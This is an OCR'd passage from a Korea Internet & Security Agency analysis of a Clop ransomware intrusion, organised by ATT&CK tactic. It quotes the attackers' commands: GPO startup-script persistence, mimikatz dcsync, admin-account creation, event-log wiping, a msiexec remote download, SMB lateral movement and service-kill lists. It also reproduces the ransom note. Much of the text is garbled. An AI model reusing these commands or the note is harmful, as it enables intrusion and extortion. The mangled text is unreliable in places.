il IE'll.'Ilnl:ki-r.Gf-‘O 2 @l [E10Blocker GPO L& " AE 28
w4 suCcess ol 3 [dsuccess policy o e =
% sucess_policy? 4 |ad sucess_policy? ;] | ALE el ]
# & Pomain Lontrollers
# &) Domain Servers
Tl
+ &
AZZ2 78 £5 21x|
£38E |F'uwar8ha|l ASRE|
il AEE 2R A SR E(success_policyl CHEH
T3,
E WTEREES | NEIEE
crd,exe /c "copy /v WIS s T, grE | nss
B x|
A3EE DIEN)

Jcmd, exe ’Q‘JDPEJNEJ...l

ASEE D (P
I/c Tcopy Ay R SR DT RN Sy sVolWiR T

20| #a |

Script parameters

copy /y W DomainSYSVOL WdomainwpolicyW{policy UIDwMachinesWScriptsStartup{malicious code]
C:WWindowsWasks{malicious code] &&
sc Create [malicious service name] binpath = “C:#WWindowsWtasksw{malicious code]” start=auto &&

sc start [malicious service name]

L]
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Credential Access

OS Credential Dumping: OS account info extraction

mimikatz is used to collect account information from the infiltrated system.

The account information is used for lateral transfer and domain controller infiltration.

Traces of mimikatz commands (leftover memory from application clashes)

| 00 00 00 00 00 00
| 00 00 00 00 00 00
| 00 00 00 0O 00 0O
| 00 00 00 Q0 00 QO

AA_ AN AN AN AN Ao

Ml ] sadump: :dcsync /1

2048%Root¥wProgramDataMicrosoft¥WindowsWWERWReportQueuetReport0211276fWWERBB47 tmp.hdmp

00 00 00 O

00 00

00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 0O

AA AR AR _AA AR _AA

00
0o
00
0o
00

0o

Y.

00
00
00
00
00
00

LYY

00 00
00 00
00 00
00 00
00 00

00 00

An AR

#WRootwProgramData¥MicrosoftWWindowswWWERWReportQueueReport152cbb93#WWER41C5.tmp.hdmp

YU Uy Uy uu uu uu
€4 00 00 00 OO 0O
00 00 00 00 00 00
3 5 €E [l
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00

AR AA AA AR AR AA

€l

wu
00
0o
00
00
0o
00
0o
0o

An

vy uu uu
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00

aAn_AA AR

¥WRoot¥ProgramDatawMicrosoftW¥WindowsWWERWReportQueuewWReport1 170666 2WWERECS4 tmp.hdmp

Isadump: :dcsync /user — command that dumps the DC username's password hash

Part of mimikatz command results (leftover memory from application clashes)

A0 00 38 00 00 00 OO

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

AA_AR_ AN AN AN AN AN

00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 Q0 00

AN An. NN

J48%RootProgramData¥MicrosoftwWindowswWWER¥ReportQueueReport02 11276 WERBB47 tmp.hdmp
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Create Account: Account creation

Additional accounts are created for the continuous management of targeted systems,

Account creation

rsainpad0id ‘senbiuyos] ‘sonoe]

(i) Information |2019-02-19 2T 40101 7045 | Service Control Manag None [}
@]information 00245 ST 3606 |74 e Contl Managhions F———
(i) Information 0190218 |2 33245 7045 | Service Control Manac None ¥
® Information |2019-02-19 27 3:18:37 7045 | Service Control Manag None s N
(i) Information 2019-02-19 2H 3113118 7045 | Service Control Manac None mE_T E
o
5 Mamo AEAT EREHSUD,
S MH A 012 igxBhnmgewyBKHS
% H & OhE 01§ %%COMSPECT (C echo net user pshadmin Robot159 fadd > %SYSTEMDRIVE % WWINDOWS WTempWemolWikrSpuwtloto. txt » WAWINDOWSWTemp —|
= | lBDYAhKKgAzFpv1.bat & %COMSPEC% /C start %COMSPEC% [C WA INDOWS Y Temp WNBD Y AhKKgAzFpvL.bat —]
|
S AL M b =]
| ME A A R S A AF (7]
!’fl H & HE: LocalSystem #
(3]
e

Account group privilege change

@IInFormation 2019-02-19 27 414:35 7045 | Service Control Manag None WSYSTEM

[6] information 20 2 £01:01

(i) Information 2013-02-19 | 2% 3:56:06 7045 | Service Control Manag None HSYSTEM

® Information 12019-02-19 27 332:45 7045 | Service Control Manag Mone WSYSTEM m

(i) Information |2019-02-19 2 3:18:37 7045  Service Control Mana None | HSYSTEM [ ] n

® Information 2019-02-19 2% 31318 7045 | Service Control Manag None | HSYSTEM

g A AE0 MELT EXEHASUD

a A Q1=

% i8]~ OHE O] 5. %COMSPECY% /C echo netlocalgroup Administrators pshadmin fadd = %SYSTEMDRIVE % WWINDOWS W TempWviR gl tenuwZEKrgO. tet > WWINDOWS W Temp
=

MmuseSMweeBXFRvAd bat & %COMSPEC % /C start %COMSPEC % /C WINDOWS W TempfmuseSMweeBXFRvA. bat
= AbE = E
MEA AT RE B3 A AT

A E & HF: Localsystem

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D
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Defense Evasion

Masquerading: Masquerading

The attacker disguised the malicious code with a normal program name to hide it from being detected.

Type Malicious code name

C:WhProgramDataWAdobewwsus.dll
C:WProgramDataWWAdobeWSetupWwsus.exe
C:Wintellocalserv.exe
C:WintelWlogon.exe

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

Normal program C:WintelWwsus.exe
disguise C:WhpWsysinfo.exe
C:WhpWslog.exe N

C:WhpWAdFind.exe
C:WhpWsage.exe
C:WhpWwsus.exe

C:WhProgramDatawMicrosofts HelpWwsus.exe
Windows software C:WhProgramDatawMicrosofts HelpWwwsus.exe
disguise C:WWindowsWlocalserv.exe
C:WWindowstasksWwsusrv.exe

Service name IntelProtected

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D

Subvert Trust Controls — Code Signing: Certificate signing

To evade vaccine detection, malicious code has signed certificates.

s OXE M2 =or X O w3 Y CAEMZ w9t Xqs 0B uB
M2 RE MZT RE
[ Merog COMAE §.. BYUaHE ' MG 0§ COgAs @ Egagm
DELUX LTD shat 2019% 28 15% MEGAPOUIS SERVIC... shal 2019 3 W 2R £ el
perpry . CXE M2 22
¥¢ 123 v ==

S LT

oy OXE MDY = -
= o CX|g MB2 REBLC U ONE ML REBUC
MBXBE(ES) MBI RS)
ol [oeLox o s [mecapous seRVICES LTD
X oY [rEw = zauc TR [wausdeserzs@gmail com
M AR [20190 2% 15% 2% 23 71902 M AT [2019u 38 2% 22% 2 225550

HUFA H7|(V) oM &

B3 430 % H2W)

FIRNe: |BRAEEE . [RESEE MBX Ol DA N F4 BYAD

DigiCert Timest.. M8% = SGUCL 20194 2% 15§ .

DigiCert Timest.. AHSE + 2. 20190 3R 2§ 8.

L]
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Indicator Removal on Host — File Deletion: File deletion

When being infected by a malicious code, if the same malicious code is installed, the previous copy is deleted.

A file deletion script is used to erase traces.

Yoo

. Infected
ﬁﬁ- system
:;ﬁ:;: Installation f e :

New Existing Malware
Malicious Code

| - f

Deletion

File deletion script

del “C:#WhpWslog.exe” if exist “C:WhpWslog.exe” goto R del “ex.bat”

Indicator Removal on Host — Clear Windows Event Logs: Event log deletion

Most malicious codes feature initial commands through service installation, and commands are left on the

event log. As such, the event log is deleted to remove the traces.
Some malicious codes have been confirmed to delete event logs.

File deletion script
/— 27| 24 12} gt Ao A

CreateProcess ShellExecuteA

Malware.exe runrun  —————+  Cmd.exe /C for [F \"tokens=*/" %1 in (‘wevtutil.exe el') DO wevtutil.exe cl \"%1\ *"

\

224
Type |DatE |TIT|E |EvEnt |Sm.n'cE ‘Categoqr |User |ComputEr
@ error |2019-06-14 |27 3:31:03| 5722 NETLOGOM None /A ETEEC IR
i Error 2019-06-14 |27 310:25 5722 NETLOGOM None H/A
® Information | 2019-06-14 |27 2:00:23| 104 Microsoft-Windows-Eventiog | %3 21 THE 0] A = Sz UCH WSYSTEM (oo
[@]information  [2015-06-14 3| 104[Microsoft-y vs-Eventiog [%3 21 20| XH UL [Wsystem [RORS s w |
=] g
® ||System 21 DO 4H A&,
8
2
(=]
Ei

N’
g TA R NNBEUD
2 iFA:
§ =0D; 5153

HNYCE: SYSTEM

Z02 08 NT AUTHORITY

212 m: Ox3e7
D Information 220112 2F x27.04 104 Migrasoft-WindawsCventiog %) 21 DY 4HEUSUD, Werstom -
1 2% [Ty =)

U,
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Signed Binary Proxy Execution — Msiexec: Malicious code installation through msiexec

Spear—phishing email malicious attachments use msiexec to download malicious codes and execute the

codes via a script.
Using a Windows—signed msiexec to run malicious codes can bypass security programs that control

applications,
Script included in macros
msiexec.exe RETURN /i hitp://[ip]/vsupdate /g ksw="%TEMP%’
Malicious code distribution site
spear—phishing msiexec

target system

| I D
BN —
[ — msiexec.exe RETURN /i http://[ip]/vsupdate /q ksw="%TEMP%’
<€

additional malicious code download and execution

L]
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[©) Deobfuscate/Decode Files for information: File/information deobfuscation and decoding

The obfuscated resources in the malicious code are read, decoded and turned into plain text.

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

Malware Execution Flow
e ~
e ~
Find Resource (Resource A)
Header
\ Y,
e A
Get (Resource A)
Section (.rsrc)
BOdy { Resource A ) .
-------- Decoding & normal
Resource B string acquisition NS
Resource C
\ Y,
\ Y,

Of fset 0 1 2 3 4 5 65 7 B 9 A B € D E F Ascii

gooooooD | 6B 6D 6A 11 29 23 3B 4A 0B 12 1C 0OE 1A 00 58 1A ij‘)# Ig] B~ ¥~
00000010 | 4B 02 07 1F 44 11 OE 03 05 4C 42 56 04 56 1D 07 D‘ﬁLllBVuV -
00000020 | 09 10 OB 02 4A 4D 50 65 78 2B 06 05 4F 54 05 06 1@HJMPEX+—|OT|—
00000030 | OE 16 4F 1C 08 4A 0D 56 5B 5A 13 SF 59 40 42 14 0 a1 v[ZI_veRq
00000040 | SE 56 6A 38 23 2D 66 38 2C 1E 12 18 1A 12 55 1A VJE# f8. IT‘IU‘
00000050 | 52 1F OE 4A 04 09 01 1D 4B 03 05 OF 40 44 1A 47 R P1 . [ Kllﬂ@J*G
00000060 | OC 11 48 13 07 12 03 4C 10 48 01 1E 18 06 01 &5 $‘H“.I L T-rU
Q0000070 | 4C OB 07 02 00 01 OF 1E 00 5A 19 3F 39 75 57 &0 Lie | ZF?QuWP
00000080 | 5D 41 47 4B 6A 3B 2E 34 23 76 2C 03 11 1F 0D 0B JAGKS
00000090 | 55 17 5D 0& 19 13 16 18 01 17 4B 09 19 4C 56 56 EH] jf"-rT.—IK I.VV
000000AD | 06 56 1D 10 0OC 44 01 14 4B 0OE 10 0B 19 1F 1A 49
000000BOD | OB SB 1F 01 18 45 18 16 14 OF 48 51 57 40 S5E 56 {[ rTE{TﬂHHQU@ v
000000COD | 42 47 53 50 16 35 40 1F 23 29 22 39 3E 44 06 18 BGSP5@ #)"9:J— -7
gooooopo | 18 10 10 01 13 08 07 19 09 4C 16 16 06 09 1D 09 T++r“n'f L
T'?—«J

JUBWUOIIAUS QY U! SuJallibd }ID}iD

000000ED | 56 1F 44 40 06 55 2E 5C 4E 09 19 4C 10 06 0B 44 | ¥ J@-U.~N.
00000DOFO | 05 1D 07 57 1E 44 06 00 1B 1B 09 OE 1B 17 G55 53 | oW J—
oooooloo | 44 17 52 52 5B 55 50 5D 64 29 25 2B 34 2F 39 1E J{RR[UP]])/+4/9
00000110 ( 00 13 48 1D 14 06 52 49 09 1F 12 4C 04 1C 1F 46 MH 9-RI. [L. F
goooo1zo [ 19 09 51 5C 1C 56 1B 54 65 6E 39 03 4B 09 09 0B F.O~ ¥Ten9lK. .o
00000130 | 1E 1F 19 00 19 57 00 13 4B 0D OE 05 03 44 0C 52 F.Fw UK 72| LI¥R

00000140 | 5B 40 44 47 42 54 59 54 17 4B 25 24 3F 3F 27 24 [@IGBZYZH K#%%77"'$
00000150 | 2C 44 03 18 14 59 0C 1D 46 1B 4B 19 OF 18 11 12 LILT=¥% FeK RETAl
00000160 | 1F OF 04 02 13 2E 60 7D 06 55 0OC 01 0D 14 12 1C HP]“> =U% l
0ooo0170 | 05 01 1D 04 44 14 00 54 18 1D 04 17 0A 53 OF 19 ) J

Your network has been penetrated.

411 files on each host in the network have been encrypted with a strong algorithm.

Backups were either encrypted or deleted or backup disks were formatted,

Shadow copies also removed, so FB or any other methods may damage encrypted data but not recover.
We exclusively have decryption software for your situation

No decryption software is available in the public.

DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME OR MOYE the encrypted and readme files.|

DO NOT DELETE readme files.

This may lead to the impossibility of recovery of the certain files.

Photorec, RannohDecryptor etc. repair tools are useless and can destroy your files irreversibly.
If you want _to restore your files write to emails (contacts are at the bottom of the sheet) and attach 2-3 encrypted files
(Less than 5 Mb each, non-archived and your files should not contain valuable information
(Databases, backups, large excel sheets, etc.)).

You will receive decrypted samples and our conditions how to get the decoder.

Attention!!!

Your warranty - decrypted samples.

Do not rename encrypted files, . .

Do not try to decrypt your data using third party software.
¥e don't need your files and your information.

But after 2 weeks all vour files and keys will be deleted automatically.
Contact emails: )

servicedigilogos@erotonmail . com

or

managersnaers@tutanota.con

The final price depends on how fast you write to us,

Clop

Korea Internet & Security Agency
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Decoding routine included in Powershell

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

code

Routines are base64 = xor 146 = base64 = gzip.decompress = baseb4 = xor 35.

Decoding routine for command fetching

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D

I
( Base 2

|

SP
!
H
Lo

. 1 .
index |++ 1 {option)
subt idx

——— - - -

u\_/uuuwl—w

index ++
0OX564 o

(1380)

(Standard data xor target data = ROL {7]9} = xor date= — index) * 1380 times repeat

L]
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@D Discovery

Software Discovery — Security Software Discovery: Security software discovery
Process Discovery: Process discovery

When ransomware encrypts files, processes and services that intrude are checked and if they are running,
they are shut down.

Process name

QHActivesDEFENSE.exe QHSAFETRAY.exe QHWATCHDOG.exe CMDAGENT .exe
ClS.exe V3LIGHT.exe V3MAIN.exe V3SP.exe
SPIDERAGENT.exe DWENGINE.exe DWARKDAEMON.exe dbsnmp.exe
steam.exe PNTMON.exe dbeng50.exe Powerpnt.exe
firefoxonfig.exe mspub.exe mysald—opt.exe isalplussv.exe
onenote.exe oautoupds.exe

Service name

McAfeeEngineService| Symantec System Recovery SepMasterService tmlisten
NetMsmaoActivator MsExchangeMGMT BackupExeCDeV|ceMed|a ShMonitor
Service
VeeamRESTSve BackupExecVSSProvider MsDtsServer VeeamDeploySvc
SQLAgent$PROD Sophos Message Router McShield BackupExecJobEngine
swi_filter Sophos AutoUpdate Service Sophos MCS Agent MsDtsServer100
IMAP4Svc SQLSERVERAGENT SQLsafe Filter Service Antivirus
DCAgent SQLAgent$BACKUPEXxec MSSQLSERVER Zoolz 2 Service
mievip SQLAge;é%\éiiAMMSQL SQLTELEMETRY$ECWDB2 =~ MSSQLSSHAREPOINT
AcronisAgent Sophos File Scanner Service ReportServer$TPS MSSQLFDLauncher$TPS
MSSQLSTPS UIODetect POP3Svc
alert alsve, archiv. | armsvc = boanet = busine cisvc., clean, cmd.ex - conhos
csrss. | dwm.ex iastor iexplo inetin java.e Imigua Ims.ex logmei Isass.

Ismex ndagen nodee nssme ppsgne | pxcont | python | ramain safest | savadm
savser | sdcser | search servic shell, smss.e = snarec = sntpse | sophos | spools
salbro sqlwri sspser | svchos = swc_se  swise syslog @ tasken @ taskho timesr
uns.ex  update winini winlog = winvnc | wmiprv | xsauth dilhos excel, explor
mmc.ex | csrs.e clamsc | regsvr | mobsyn rundll runonc | winwor = system = notepa

taskmg

L]
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Account Discovery — Domain Account: Domain account discovery

In order to check for an AD environment, the malicious code uses the command “net user /domain.”
The result of the command determines whether to continue the infection.

Z1H0{l WORKGROUP 0|2t
Chol ZgtA|

Malicious code
shutdown

.

net user /domain

Z1t0j| WORKGROUPO| 2t
Chol 2=3HA|

— malicious code
operation

[4) File and Directory Discovery: File/directory discovery
Network Share Discovery: Network sharing discovery

For file encryption, drives (A: — Z:), flash drives, and network drives are searched.,
When file encryption is performed through ransomware, and designated folders and filenames are
excluded from encryption.

Excluded folder names

Chrome All Users Mozilla
ProgramData Recycle.bin AhnLab

Microsoft Program files (x86) Program Files

Windows BOOTMGR RECOVERY

SOPHOS TOR BROWSER SYSTEM VOLUME INFORMATION
PERFLOGS WINNT APPDATA

Excluded file names

ClopReadMe.txt AUTOEXEC. bat ntidr
autoexec.bat boot.ini NTDETECT.COM
netuser.ini DESKTOP desktop.ini
autorun.inf iconcache.db bootsect.bak
ntuser.dat.log thumbs.db ntuser.dat

Excluded extensions

Kelll exe .SYys
Clop .OCX Ink
.ClOop ICO NI
MS| CHM HLF
NG JTF .CMD
BAT

L]
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(©) System Information Discovery: System information discovery
System Owner/User Discovery: System user information discovery

Information is collected from the infected system and leaked.
The system'’s language is detected, and systems using the Russian character set are excluded from
infection targets. Recent ransomware does not care about character sets.

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

Value name Description
id Unique ID value
0s System OS information
priv Malicious code execution privieges UAC
cred User path
pcname System name
avname Vaccine information 2,
build_time Malicious code execution time
card NFC information

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D

AUSTRALIA

"
W zEALAND 7

#c o

Languages excluded from encryption

Armenian Kazakh Tajik
Azerbaijani Kyrgyz Turkmen
Belarusian Russian Ukrainian
Georgian Swanhili Uzbek

[ )
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Lateral Movement

Remote Services — SMB/Windows Admin Shares: SMB/Windows administrator sharing

The infected server uses network sharing to execute commands on other systems joined to the domain
controller and creates malicious codes. The net use command is used to approach shared folders, and
after the session is connected, malicious files are copied. The sc command is used to register malicious

files as a service. This can be checked by searching for event ID 4648 on the infected server's Windows

security log.
TCP 192.168.10.114:49342 192.168.12.160:445 ESTABLISHED 4 284 ABE 7R E £~ gSYrCH
TCP 192.168.10.114:495642 192.168.10.242:445 ESTABLISHED 4 204 ARE IR E £~ gsyrch
TCP 152.168.10.114:55425  192.168.10.232:445 ESTABLISHED 44293 AEBE FHRE & gauch
TCP 192.168.10.114:59594 192.168.10.231:445 ESTABLISHED 4 284 ABE IR E & gSyrCh
TCP 192.168.10.114:55949 192.168.10.18:445 EST ABLISHED 4 20 ABE FIR{E & gisyrch
TCP 192.168.10.114:60200 192.168.10.16:445 ESTABLISHED 4 284 ABE FIR{E & gigyrch
TCP 192.168.10.114:61141 192.168.10.17:445 ESTABLISHED 4 201 ABE JIRE £ gSyrct
TCP 192.168.10.114:61987 192.168.10.89:445 ESTABLISHED 4 201 #ABE FIx{E & gisyrch
EER 192.168.10.114:62192 192.168.10.76:445 ESTABLISHED 4 204 ABE FIR{E & gigyrch
TCP 192.168.10.114:62582 192.168.10.228:445 ESTABLISHED 4 284 HBE 7R E & ggyrCh
TCP 192.168.10.114:62928 192.168.10.56:445 ESTABLISHED 4 284 ABE FIR|E £ g2t
TCP 192.168.10.114:63278 192.168.10.84:445 ESTABLISHED 4 284 APE FIR{E £+ ggyrCh
TCP 192.168.10.114:63737 192.168.10.73:445 ESTABLISHED 4 204 AEE JIRE 4 gigyrct

uopdinsaq

EH:

Shared folder connection command

net use X:¥W{server IP to be approached#{drive name|directory namel$ “[password]” /user:[account name]

Service registration — event log

TAE XA FAF ABAG BIASF AERGUC

E2HD:
o 0B
HB =9
212 mD:
218 GuID:

RS0 MEBEAT:

HE OE:
HY =09l
212 GuID:

CHa e,

G4 MH 0 B:
=7 B,

ZERMA Y,

ZEMAID:
ZERMH X O 8.

5-1-5-18

SYSTEM

NT AUTHORITY

Ox542dsfe
{00000000-0000-0000-0000-000000000000}

{00000000-0000-0000-0000-000000000000}

Ox 1cfc
C:WwindowsWSystem32Wsc.exe
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Remote Services — Remote Desktop Protocol: Remote desktop connection protocol

The acquired AD account is used to attempt a remote desktop connection,

*«“ RDP attack

Account *
acquisition

" RDP attack

target system

" RDP attack

target system

target system

infiltration
success

=y

o " RDP attack B

" RDP attack

[ —— o4

" RDP attack

=7
% {a Account
acquisition
target system

Remote Services — Windows Remote Management: Windows remote management

WIinRM is used to execute commands on remote systems using Powershell. In AD environments, the
“invoke—command” is used to run remote commands on multiple systems at once. Traces of Powershell
run with administrator rights to attempt remote access to other systems can be checked by searching for
event IDs 4624, 4648 in the base server's Windows security log.

Malicious code download to remote server via Powershell

server 1 °_
—
=\

external server

2. Malicious code
download

1. Execute Powershell
commands on remote
server with administrator
privileges
(execute Attack.ps1 script)

Powershell execution — event log (ID:4624)

Ago| 43u2E IS,

=

=2 1p: 5-1-5-18
FERES i 1 e 2
m Mo e 1T
23g 1p xTr
212 78 g
N =ae
=9 ID: 5-1-5-18
HE o8 SYSTEM
Az =g NT AUTHORITY
232 ID: 0x18FC460
232 GUID {00000000-0000-0000-0000-000000000000}
E24A FE:
=244~ ID: 0x1200
ZE2HqA OlF: C:\Windows\System32\WindowsPowerShe11\v1.0\powershell.exe
HEH3 TE:

H3AqoH oiE:
He 4sY3 F4: -
ug == -
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Remote location command execution — event log (ID:4648)

g FAEOE SEE MESY EOEE MERESULD
8 |F4H:
% =2 5-1-5-18
= A o5 SYSTEM
HE =g INT AUTHORITY
212 m: 0x1822f79
212 GuID: {00000000-0000-0000-0000-000000000000}
THE ETOASEATE:
HE E: Y
HE =H Q. Fiozi
Z23& Gu: +{00000000-0000-0000-0000-000000000000}
O & A
R = PR SESREET E e
=IHE, | LSS - A
ZEHABE,
ZZ2M 2D 0x1200
EZ2M£ 015 CrfwindowsWsystem 324 windowsPowershell v 1.0 Ypowershel . exe
HEH3I FE:
HEHT F4; -
3 _

Lateral Tool Transfer: Lateral tool transfer

SMB protocols and Window's basic administrator sharing functions are used to transfer malicious code or
attack tools between target systems.

A base server target is selected, malicious code is collected in a shared folder, and other systems use this
folder for downloads and execution.

smb

Base server external PC 1

D

Shared folder

account theft malicious smb e TEaH
code / tunneling malicious
code / information theft

malicious code

smb

external PC 3

Network sharing folder access traces — security equipment log

| E G H I
PGM_NAME  FILE _NAME USE_PLACE DEV_NAME
tiny_sd4.exe UNC/10,3.0,194/userspiiny_sd4 exe MNULL NETWORK-DRIVE
tiny_sdd.exe UNC/10,30194/usersp/psisasstd_r exe MULL NETWORK-DRIVE
tiny_sdd.exe UNC/10.3.0.194/usersp/bslass. bat NULL NETWORK-DRIVE
tiny_sdd.exe UNC/10.3.0.124/usersnp/procdumpBd, exe NULL NETWORK-DRIVE
tiny_sd4.exe UNC/10.3.0.195/userspttiny_sd4 exe NULL NETWORK-DRIVE

Access file path

[IP]/usersp/64.exe

[IP]/C$/PeriLogs/228s.exe
UNC/[IP]/usersp/tiny_sd4.exe
UNC/[IP)/usersp/pslsass64_r.exe
UNC/[IP]/usersp/psisass.bat
UNC/[IP]/usersp/procdumpb4.exe

Korea Internet & Security Agency
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Data from Local System: Data collection from the local system

To collect information from a target system, commercial tools and a remote control malicious code is used.
The remote control malicious code includes a function to collect and leak the target system information.
Internal company information collected from target systems are used for blackmail.

AD environment network information collection and weakness information discovery

Introduction

The risk level regarding Active Directory security has changed. Several vulnerabilities have been made popular with

tools like mimikatz or sites likes adsecurity.org.

Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk
assessment and a maturity framework. It does not aim at a perfect evaluation but rather as an efficiency compromise.

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

| PingCastle (Version 2.5.2.8)
. | Get Active Directory Security at 80% in 20% of the time
pingcastle.exe # > End of support: 31/07/202@
\
Vincent LE TOUX (contact@pingcastle.com)
- https://www.pingcastle.com
Using interactive mode.
Do not forget that there are other command line switches like --help that you can use
What you would like to do?
1-healthcheck-Score the risk of a domain

2-graph -Analyze admin groups and delegations

3-conso -Aggregate multiple reports into a single one
4-nullsession-Perform a specific security check

S5-carto -Build a map of all interconnected domains
6-5canner -Perform specific security checks on workstations

AD environment network information collection and weakness information discovery

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.
mimikatz can also perform pass-the-hash, pass-the-ticket, build Golden tickets, play with certificates or private keys, vault, ...
maybe make coffee?

JUBWUOIIAUS QY U! SuJallibd }ID}iD

powerkatz.dll Its symbol/icon is a kiwi, sometimes the animal, but mostly the fruit!

. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Apr 26 2014 0@:25:11)
SHE N
#NBE fer
#% \ / ## Benjamin DELPY "gentilkiwi’ ( benjamin@gentilkiwi.com )
'## v ##'  http://blog.gentilkiwi.com/mimikatz (oe.eo0)
"R with 14 modules * * */

Process information collection tool
Q¥ Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-JEHGEUJ#

File Options View Process Find Users Help
H @m0 E|® x|ae 1]l - |
FProcess CPU  Private Bytes Working Set PIl

procexp64.exe 60 K 8

| System ldle Process

[ ystem 0.16 200 K 956 K
B Interrupts 033 Ok 0K n
B | SMSs.exe 1,075 kK 296 k. a1
|CErEE.axe <00 2892 K 2,844 K =l
[ ininit. exe 1,800 K 1,708 K aC
W | services.exe 018 8,380 K Q748K 101
svchost.exe 14,860 K sk Nk

[ )
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Information stolen from malicious code

Value name

id
0s
priv

pred

pcname
avname

build_time

card

Description

Unique ID value

System OS information
Malicious code execution privileges + UAC activation status
User path
System name
Vaccine information
Malicious code execution time
NFC information

Archive Collected Data — Archive via Custom Method: Data compression through user implemented

encryption algorithms

Data collected from target system memory is encoded with custom XOR and leaked.

.

-- {B} memory ---

Process
1

Process
N-M

Process

%plnfected system

1. monitoring ‘ > 4. data leak
2. data extraction i

3. XOR encryption HHen

L]
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Exfiltration

Exfitration Over C2 Channel:

3.

ATT & CK
Matrix

CA channel leak

Data collected from target servers are leaked to attacker C2 servers.

copy
WA [IP]Wc$WProgramDatatrj_log.dat
c:tempW[HostH]_rj_log.dat

| LN
p— |
DAT

[ oA | )
rji_log.dat 1. Batch file [ —— oo
Server 1 execution 3.*_rj_log.dat leak =e-
>  —— S

2. 1j_log.dat
collection

DAT
[ T—

rj_log.dat
Server 2

Filter: tep.stream eq 34

No. Time Source
2463 43.4337320 6.5 BN
2767 43.68677000M. I8

base server

Attack C2

[Host®]_rj_log.dat

E} Expression... Clear Apply Save
Protocol Length Info
66 51125-80 [SYN] Seq=0 win=8102 Len=0 MSS=1460 WS=4 SACK_PERM=1
TR 66 80-51125 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 M55=1460 SACK_PERM=1 WS=128

2768 43.6868240 % -y TcP 54 51125-80 [ACK] Seq=1 Ack=1 Win=65700 Len=0

2769 43. 6869550 = - - HTTP 226 POST /filename.php HTTP/1.1

2774 43.9440880 L0 0 B K [ B} TCe 60 80-51125 [ACK] Seqe=l Ack=173 win=30336 Len=0

2775 43.9440850 s [ v = 5 HTTP 257 HTTP/1.1 200 OK

2777 44.1443000 = = - TCP 54 51125-80 [ACK] Seq=173 Ack=204 Win=65496 Len=0

2803 48, 9497980 bl W et B EBElala . o B0 @N-51175 TETM  ACK] €8n-704 AFK-172 WAR-20336 1 an-n

2804 43.9498190 K 0% 1% pm memnsn ff Follow TCP Stream (tep.stream eq 1269) i E=Ficl™ x|
Stream Content

POST /filename.php HTTP/1.1
HosT: BEE B58 i &4
content-Length: 215
connection: Keep-Alive
Cache-control: no-cache

ail.com”,"imap":null, "name" : "malcode89@gmail. com”,"pop3":
D', "server": "smtg. gmail.com"},"smtp”:{"server"”:"smtp.gmail.com"}}
ul1}HTTP/1.1 200 OK

o 5 e .
pDate: wed, 24 Apr 2019 09:31:33 aMT|
Server: Apache/2.4.29 (ubuntu)
Content-Length: 0

Keep-Alive: timeout=5, max=100
connection: Keep-Alive

content-Type: text/html; charset=uTF-8

http://163.7 &=

TER

= /yes/

] m http://163 s a5 /yes/old/

Index of /yes

Name Last modified

& Parent Directory

[ disk-emails.txt  2019-04-24 14:32
@ disk-emails0423.txt 2019-04-24 10:13
Qold/ 2019-04-23 22:54
@ outlook-emails.txt 2019-04-24 13:14

Apache/2.4.29 (Ubuntu) Server at 163.: 77 %425 Port 80

Index of /yes/old

Name Last modified Size Description

Size MM "Parent Directory.

[8) disk-emails.txt

Ej disk-emailsd44.txt
682K @ disk-emails old.txt
16M 8] disk-emails old2.txt
@ outlook-accounts.txt
@ outlock-accounts444.txt  2019-04-23 22:16 4.2K
@ outlook-accounts old.txt  2019-04-19 14:11 1.0K
@ outlook-accountsold old.txt 2019-04-19 15:03 186
@ outlook-emails.txt 2019-04-21 10:52 8.0M
@ outlook-emails444.txt 2019-04-23 22:29 2.5M
@ outlook-emails old.txt 2019-04-19 13:01 197K
[] outlook-emails oldoldtxt 2019-04-19 15:33 1.0M

2019-04-21 11:02 5.6M
2019-04-23 22:48 472K
2019-04-19 00:10 1.0M
2019-04-19 14:15 145K
2019-04-19 19:02 320

1.0M

Apache/2.4.29 (Ubuntu) Server at 163. *** #d24 Port 80

[ )
Korea Internet & Security Agency ® Lb6

rsainpad0id ‘senbiuyos] ‘sonoe]

G#Sdll

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D



3.

ATT & CK
Matrix
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Service Stop: Service stopping

The services and processes running in the target system are shut down to avoid detection and smooth
data encryption.

Used commands

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

Service stopping net stop [service name] /y
Process shutdown taskkill /IM[process name] /F
Type Name ).

McAfeeEngineService, Symantec System Recovery, NetMsmgActivator,
MSExchangeMGMT, SepMasterService, tmlisten, BackupExecDeviceMediaService,
ShMonitor, VeeamRESTSvc, BackupExecVSSProvider, MsDTsServer, VeeamDepolySvc,
Service SQLAgent$PROD, Sophos Message Router, McShield, BackupExecJobEngine, swi_filter,
Sophos AutoUpdate Service, Sophos MCS Agent, MsDtsServer100, IMAP4Svc,
SQLSERVERAGENT, SQLsafe Filter Service, Antivirus, DCAgent, SQLAgent$bkupexec,
MSSQLSERVER,

dbsnmp.exe, steam.exe, PNTMon.exe, doeng50.exe, powerpnt.exe, firefoxonfig.exe,
